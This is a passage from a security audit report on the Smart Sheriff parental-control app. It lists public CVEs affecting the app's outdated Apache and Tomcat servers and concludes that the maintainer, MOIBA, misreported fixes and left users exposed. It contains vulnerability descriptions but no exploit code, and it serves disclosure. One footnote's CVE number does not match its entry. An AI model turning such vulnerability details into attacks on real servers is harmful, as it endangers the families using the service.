- **CVE-2013-2249**[15] - CVSS 7.5 - *mod_session_dbd.c* in the mod_session_dbd module in the Apache HTTP Server before 2.4.5 proceeds with save operations for a session without considering the dirty flag and the requirement for a new session ID, which signifies unspecified impact and remote attack vectors.
- **CVE-2009-1890**[16] - CVSS 7.1 - When a reverse proxy is configured, the stream_reqbody_cl function in mod_proxy_http.c in the mod_proxy module in the Apache HTTP Server before 2.3.3 does not properly handle an amount of streamed data that exceeds the Content-Length value. This allows remote attackers to cause a denial of service (CPU consumption) via crafted requests.
- **CVE-2009-1891**[17] - CVSS 7.1 - The mod_deflate module in Apache httpd 2.2.11 and earlier compresses large files until completion, even after the associated network connection is closed. It allows remote attackers to cause a denial of service (CPU consumption). Apache Tomcat 6.0.29 is also used to serve most URLs, regardless of being outdated and vulnerable to a number of security issues, including the following:
- **CVE-2014-0230**[18] - CVSS 7.8 - Apache Tomcat 6.x before 6.0.44, 7.x before 7.0.55, and 8.x before 8.0.9 does not properly handle cases where an HTTP response occurs before finishing the reading of an entire request body. Thus, it allows remote attackers to cause a denial of service (memory consumption) via a series of aborted upload attempts.
- **CVE-2011-3190**[19] - CVSS 7.5 - Certain AJP protocol connector implementations in Apache Tomcat 7.0.0 through 7.0.20, 6.0.0 through 6.0.33, 5.5.0 through

[13] http://news.netcraft.com/archives/2014/02/07/are-t...y-lots-of-vulnerable-apache-web-servers.html
[14] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-3192
[15] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-2249
[16] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-1890
[17] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-1891
[18] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0230
[19] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-3190

5.5.33, and possibly other versions, allow remote attackers to spoof AJP requests, bypass authentication, and obtain sensitive information by causing the connector to interpret a request body as a new request.

- **CVE-2013-2067**[20] - CVSS 6.8 - The form authentication feature in Apache Tomcat 6.0.21 through 6.0.36 and 7.x before 7.0.33 does not properly handle the relationships between authentication requirements and sessions. This allows remote attackers to inject a request into a session by sending this request during a completion of the login form. This is a variant of a session fixation attack.

This ticket proves that there is no server-side administration that would adequately maintain the API servers in place. It cannot be stated with any conviction that the tool can withstand attacks. Moreover, the services offered by the server and the API suffer from similar - if not worse - weaknesses.

Conclusion

This reports shows that the maintainer of the hopelessly vulnerable Smart Sheriff app did not install security fixes, even though this has been advertised online as something that has taken place. What is more, the maintainer seems to have misinformed Citizen Lab and other involved parties when announcing the alleged fixes during numerous email exchanges.

Several critical vulnerabilities were simply ignored while others were fixed in ways that were not only completely insufficient but often also misleading. Adding insult to injury, one of the only few fixes that were implemented adequately was to remove a possibility for users to bypass the Smart Sheriff blacklist for URLs a child would want to navigate to. While a user's privacy and security does not seem to matter much to MOIBA, the censorship capabilities nevertheless seem to have been prioritized. Contrary to password and PII leakage, they were in fact addressed with working fixes. A disappointing narrative can be derived from this observation: MOIBA appears diligent only when the fixing of issues relates to matters that affect them in particular. Their users, however, are a different story as they seem to have been treated as not relevant enough to warrant proper fixes that ensure their privacy and security.

It is therefore a conclusion of this report that MOIBA's behavior can be classified as highly irresponsible. This is especially worrisome given that the formerly spotted vulnerabilities (stemming from the original round of tests) are published in full and available to anyone. Attackers can simply use the published vulnerabilities, craft exploits and directly use them against the parents and children subscribed to the Smart Sheriff app.

[20] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-2067

It is highly recommended to **discontinue the service as is** and make sure that the vulnerable and leaky API servers are shut down. In the current state of affairs the users of the Smart Sheriff application are exposed by MOIBA to tremendous risk and it can be absolutely assumed that the openly published vulnerabilities are actively used by attackers.

Cure53 would like to thank Adam Lynn and Chad Hurley of the Open Technology Fund in Washington for this interesting project. We would like to express our gratitude for their continuously good support and assistance during this assignment.